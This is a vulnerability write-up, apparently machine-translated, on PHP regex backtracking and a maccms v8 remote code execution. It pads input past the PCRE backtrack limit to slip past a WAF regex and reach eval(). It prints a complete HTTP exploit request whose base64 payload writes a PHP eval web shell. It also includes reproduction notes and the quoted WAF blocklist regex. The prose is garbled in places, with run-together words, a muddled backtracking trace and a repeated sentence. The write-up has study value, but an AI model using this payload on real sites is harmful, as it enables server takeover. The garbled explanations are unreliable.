0x01 Preface
I encountered a vulnerability that pads input with 800,000 junk characters, exceeding the regex backtracking limit and bypassing the 360 module. This article explains regex backtracking and analyzes the maccms v8 RCE in detail.
0x02 Regex Backtracking
1. Regex Engines
We all know the 'regex' in 'regex backtracking,' but what is backtracking?
Before backtracking, consider regex engines. They fall into two broad classes: DFA (deterministic finite automata) and NFA (nondeterministic finite automata). NFA usesRegular expressiondriven matching, whereas DFA usesText-drivenmatch.
Programs currently using DFA engines include:awk,egrep,flex,lex,MySQL,Procmailand others.
Programs using traditional NFA engines include:GNU Emacs,Java,ergp,less,more,.NET,,PCRE library,Perl,PHP,Python,Ruby,sed,vi;
DFA operates inLinear timelinear time without backtracking. It starts from the target text and scans left to right, never matching a character twice. It is generally faster but supports fewer features, excluding capture groups and references.
NFA starts from the expression and repeatedly reads characters to test the current pattern, giving characters back and retrying on failure. Worst-case execution can be extremely slow, but NFA supports more features, so most environments—including PHP, Java, and Python—use it.
DFA example:
While scanning, the engine records all currently valid possibilities. At t, it adds a potential match to the current set:

Each scanned character updates the set of possible matches. At J, two possibilities remain and Rose is eliminated.

When scanning reaches e in the target text, Jack is eliminated, leaving one possible match. Matching the remaining rry completes the expression.

NFA example:
To the engine, DEF has four numeric positions:

For a regex, every source string contains characters and positions, and matching proceeds from position 0.
Call a successful match 'gaining control.'
When the regex isDEF, the flow is:
The regex character D gains control from position0begins matching withD to matchD, matches, then passes control to E ; becauseDhas been D matches, so E from position1begins matching, withE to matchE, matches, then passes control to F; thenFto matchF, matches successfully.
When the regex is/D\w+F/, the flow is:
The regex character/D/ gains control from position0begins matching with /D/ to matchD, matches, then passes control to/\w+/ ; becauseDhas been/D/matches, so /\w+/ from position1begins matching;\w+Greedy mode records an alternative state and consumes the longest possible text, directly reachingEF, matches successfully, with the current position at3, then passes control to /F/ ; then /F/ fails to match;\w+the match backtracks one position to2, then passes control to/F/, then/F/matches F successfully.
As shown above, DFA always scans text characters left to right regardless of expression form. Equivalent NFA expressions can follow entirely different matching paths.
2. Backtracking
Now return to backtracking.
Assume the string and its positions are:

As above, call a successful match 'gaining control.' Suppose the regex is:/.*?b/
The matching flow is:.*?first gains control. Assuming lazy matching, it initially consumes nothing and passes control to the next pattern characterb, bfails at source position 1a, so it backtracks and returns control to.*?. At this point, .*?matches one charactera, and again passes control tob. This process is calledBacktracking. Repeating this eventually yields a match after three backtracks.
3. Regex Backtracking
PHP's PCRE extension exposes these options:
| Name | Default | Changeable range | Changelog |
|---|---|---|---|
| pcre.backtrack_limit | "100000" | PHP_INI_ALL | Available since PHP 5.2.0. |
| pcre.recursion_limit | "100000" | PHP_INI_ALL | Available since PHP 5.2.0. |
| pcre.jit | "1" | PHP_INI_ALL | Available since PHP 7.0.0 |
- pcre.backtrack_limit: maximum PCRE backtracks
- pcre.recursion_limit: maximum PCRE recursion depth
As the table shows, the defaultbacktarck_limitis 100000.
Define a regex:/UNION.+?SELECT/is
The target text is:UNION/*panda*/SELECT
The flow is roughly:
- First match
UNION .+?matches/- Lazy mode;
.+?stops moving forward, thenSmatches* Smatches*Failure;First backtrack, then.+?matches*- Lazy mode;
.+?stops matching forward, thenSmatchesp SmatchespFailure;Second backtrack, then.+?matchesp- Lazy mode;
.+?stops matching forward, thenSmatchesa SmatchesaFailure;Third backtrack, then.+?matchesa- Lazy mode;
.+?stops matching forward, thenSmatchesn SmatchesnFailure;Fourth backtrack, then.+?matchesn- Lazy mode;
.+?stops matching forward, thenSmatchesd SmatchesdFailure;Fifth backtrack, then.+?matchesa- Lazy mode;
.+?stops matching forward, thenSmatchesS SmatchesSmatches, then continues untilSELECTmatchesSELECTSuccess
This shows that the number of backtracks is controllable. When we place more content in/**/, the more backtracks occur. If enough input exceedspcre.backtrack_limitlimit, the expression may be bypassed, defeating restrictions such as a WAF.
This issue was reported to the official project as early as 2007:

The official remediation was:

Python also has a 'limit,' but its documentation explains:

There may not be enough memory to build such a large string—so, well…
0x03 maccms v8 RCE via 800,000 Characters
According to the vulnerability payload:
POST /index.php?m=vod-search HTTP/1.1
Host: xxx.xxx.xxx.xx
Content-Length: 500137
Cache-Control: max-age=0
Origin: xxx.xxx.xxx
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: xxx.xxx.xxx.xx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: Hm_lvt_ff7f6fcad4e6116760e7b632f9614dc2=1574418087,1574670614,1574673402,1575271439; Hm_lvt_137ae1af30761db81edff2e16f0bf0f8=1574418087,1574670615,1574673402,1575275889; pgv_pvi=8322096128; PHPSESSID=pr37r8fkshd854f8fnfep4ov53; adminid=1; adminname=admin; adminlevels=b%2Cc%2Cd%2Ce%2Cf%2Cg%2Ch%2Ci%2Cj; admincheck=2afdbd385cb6c2af162e6733f1b0e2d2
Connection: close
wd=union(80w个a){if-A:print(fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A}
Enter index.phpInspect the relevant parameters:
$acs = array('vod','art','map','user','gbook','comment','label');
if(in_array($ac,$acs)){
$tpl->P['module'] = $ac;
include MAC_ROOT.'/inc/module/'.$ac.'.php';
}
else{
showErr('System','未找到指定系统模块');
}
unset($par);
unset($acs);
$tpl->ifex();
The vulnerable file is/inc/module/vod.phpsearch module, whose core is:
elseif($method=='search')
{
$tpl->C["siteaid"] = 15;
$wd = trim(be("all", "wd"));
$wd = chkSql($wd);
if(!empty($wd)){
$tpl->P["wd"] = $wd;
}
.....
$tpl->H = loadFile(MAC_ROOT_TEMPLATE."/vod_search.html");
$tpl->mark();
$tpl->pageshow();
The core of be() is:
function be($mode,$key,$sp=',')
{
ini_set("magic_quotes_runtime", 0);
$magicq= get_magic_quotes_gpc();
switch($mode)
{
case 'post':
$res=isset($_POST[$key]) ? $magicq?$_POST[$key]:@addslashes($_POST[$key]) : '';
break;
case 'get':
$res=isset($_GET[$key]) ? $magicq?$_GET[$key]:@addslashes($_GET[$key]) : '';
break;
case 'arr':
$arr =isset($_POST[$key]) ? $_POST[$key] : '';
if($arr==""){
$value="0";
}
else{
for($i=0;$i<count($arr);$i++){
$res=implode($sp,$arr);
}
}
break;
default:
$res=isset($_REQUEST[$key]) ? $magicq ? $_REQUEST[$key] : @addslashes($_REQUEST[$key]) : '';
break;
}
return $res;
}
mainly applies addslashes to GET, POST, and REQUEST parameters. Return tovod.phppage. After Be processes it and surrounding whitespace is trimmed, it reaches chkSql()performs the 360 WAF SQL check. Its core is:
function chkSql($s)
{
global $getfilter,$postfilter;
if(empty($s)){
return "";
}
$s = htmlspecialchars(urldecode(trim($s)));
StopAttack(1,$s,$getfilter);
StopAttack(1,$s,$postfilter);
return $s;
}
converts predefined characters in the URL-decoded value to HTML entities, then passes it toStopAttack()function, whose core is:
function chkShow()
{
$errmsg = "<div style=\"position:fixed;top:0px;width:100%;height:100%;background-color:white;color:green;font-weight:bold;border-bottom:5px solid #999;\"><br>您的提交带有不合法参数,谢谢合作!<br>操作IP: ".$_SERVER["REMOTE_ADDR"]."<br>操作时间: ".strftime("%Y-%m-%d %H:%M:%S")."<br>操作页面:".$_SERVER["PHP_SELF"]."<br>提交方式: ".$_SERVER["REQUEST_METHOD"]."</div>";
print $errmsg;
exit();
}
function StopAttack($StrFiltKey,$StrFiltValue,$ArrFiltReq)
{
$StrFiltValue=arr_foreach($StrFiltValue);
$StrFiltValue=urldecode($StrFiltValue);
if(preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){
chkShow();
}
if(preg_match("/".$ArrFiltReq."/is",$StrFiltKey)==1){
chkShow();
}
}
applies the following regular expression to the input:
<.*=(&#\\d+?;?)+?>|<.*data=data:text\\/html.*>|\\b(alert\\(|be\\(|eval\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\()|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover|eval)\\b|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)|UNION([\s\S]*?)SELECT|SELECT|UPDATE|_get|_post|_request|_cookie|_server|eval|assert|fputs|fopen|global|chr|strtr|pack|system|gzuncompress|shell_|base64_|file_|proc_|preg_|call_|ini_|php|\\{|\\}|\\(|\\\|\\)
The main problem is this line:
UNION([\s\S]*?)SELECT
([\s\S]*?)— matches any character exactly once
This expression enables lazy matching, causing repeated backtracking. For example, define the text:UNION(panda)SELECT
Its matching flow is roughly:
- First match
UNION - Enter subexpression matching;
[\s\S]*?, matching every character - Lazy mode;
*?stops moving forward, soSmatches( Smatches(Failure;First backtrack, then*?matchesp- Lazy mode;
*?stops matching forward, thenSmatchesa Smatchesa,Second backtrack, then*?matchesa- Lazy mode;
*?stops matching forward, thenSmatchesn - …and so on
- Finally,
SmatchesS, then backtracking ends
The process is animated below:

Here we can exploit the maximum match count to bypasspreg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1check, because after the maximum match count is exceeded, the result is not 1 butfalse。
This bypasses the 360 WAF module's chkSql()check, meaning the wd parameter is currently controllable.
Return toindex.phppage. After modules load, execution enters$tpl->ifex();function, whose core is:
function ifex()
{
if (!strpos(",".$this->H,"{if-")) { return; }
$labelRule = buildregx('{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}',"is");
preg_match_all($labelRule,$this->H,$iar);
...
try{
if (strpos(",".$strThen,$labelRule2)>0){
...
$ee = @eval("if($strif){\$resultStr='$elseifArray[0]';\$elseifFlag=true;}");
if(!$elseifFlag){
...
@eval("if($strElseif){\$resultStr='$strElseifThen'; \$elseifFlag=true;}");
...
if(!$elseifFlag){
...
@eval("if($strElseif0){\$resultStr='$strElseifThen0';\$elseifFlag=true;}");
...
else{
$ifFlag = false;
if (strpos(",".$strThen,$labelRule3)>0){
...
@eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");
...
else{
@eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");
if ($ifFlag){ $this->H=str_replace($iar[0][$m],$strThen,$this->H);} else { $this->H=str_replace($iar[0][$m],"",$this->H); }
...
}
...
The function first applies$this->Hchecks whether it contains{if-, while$this->Hinvod.phpis defined as:
$tpl->H = loadFile(MAC_ROOT_TEMPLATE."/vod_search.html");
This template's application code is ininc/common/template.php is controlled by wd, as tracing confirms.
Return totemplate.phpofifex()function shows
preg_match_all($labelRule,$this->H,$iar);
The regular expression extracts wd, after which loops and checks ultimately execute eval.
The final eval has the fewest restrictions, so we choose it. The following conditions must be met:
$this-Hmust contain{if-→ the wd parameter contains{if-is sufficient- Satisfies the regex:
{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1} - The if condition is not met:
strpos(",".$strThen,$labelRule2)>0 - The if condition is not met:
strpos(",".$strThen,$labelRule3)>0
This reaches the desired eval statement:
eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");
In summary, this payload satisfies the conditions:
{if-A:phpinfo()}{endif-A}
0x04 Reproduction
The full exploitation chain is now complete.
First bypass the 360 WAF through regex backtracking, then place the payload in controllable wd. The payload reaches$this-H, bypass the check, and execute it through eval.
Without regex backtracking, the request is blocked:

With regex backtracking, the 360 WAF is bypassed:

In my environment, neither 800,000 nor 8,000,000 characters was enough, so I used 10,000,000 and bypassed it successfully.
In my environment, neither 800,000 nor 8,000,000 characters was enough, so I used 10,000,000 and bypassed it successfully.
Testing on PHP 7.0 may produce this problem and prevent exploitation:

or

The vulnerability also requires a non-default template:

The default template exits here and never reaches eval.
0x05 References
https://www.php.net/manual/zh/pcre.configuration.php
http://www.laruence.com/2010/06/08/1579.html
https://www.jqhtml.com/45531.html
https://blog.csdn.net/iteye_18591/article/details/82204352
https://www.cnblogs.com/test404/p/7397755.html
https://www.cnblogs.com/Chary/p/No0000100.html
https://www.t00ls.net/viewthread.php?tid=54216
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html